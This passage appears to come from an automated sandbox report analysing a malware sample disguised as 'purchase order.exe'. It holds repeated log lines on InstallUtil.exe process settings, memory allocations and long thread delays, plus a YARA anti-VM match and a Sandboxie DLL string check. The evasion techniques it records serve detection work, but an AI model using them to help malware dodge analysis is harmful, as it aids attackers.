Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: purchase order.exe PID: 6884, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Bohw.exe PID: 6024, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Bohw.exe PID: 4528, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: purchase order.exe, 00000000.00000002.2562619259.0000000002D5E000.00000004.00000800.00020000.00000000.sdmp, Bohw.exe, 00000005.00000002.2797251717.000000000311F000.00000004.00000800.00020000.00000000.sdmp, Bohw.exe, 00000006.00000002.2879526593.0000000002CEE000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Desktop\purchase order.exe	Memory allocated: FF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Memory allocated: 2D30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Memory allocated: 2B70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 2720000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 27C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 47C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Memory allocated: 1750000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Memory allocated: 30F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Memory allocated: 3040000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Memory allocated: 11C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Memory allocated: 2CC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Memory allocated: 2AF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: C10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 2960000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 28A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 1330000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 2CF0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 2C20000 memory reserve \| memory write watch

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599874	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599764	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599655	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599546	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599434	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599326	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599217	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598890	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598781	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598671	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598562	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598442	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598312	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598197	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598060	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597952	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597843	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597734	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597624	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597515	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597406	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597296	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597187	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597043	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596928	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596796	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596687	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596577	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596468	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596359	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596249	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596140	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596031	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595921	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595812	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595692	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595562	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595450	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595269	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595125	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594858	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594749	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594638	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594531	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594421	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594308	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594198	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594093	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 593984	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599438	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599313	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599188	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599078	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598969	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598844	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598735	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598610	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598485	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598360	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598237	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598116	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597891	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597766	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597657	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597532	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597407	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597297	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597188	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597063	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596938	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596813	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596688	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596578	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596469	Jump to behavior
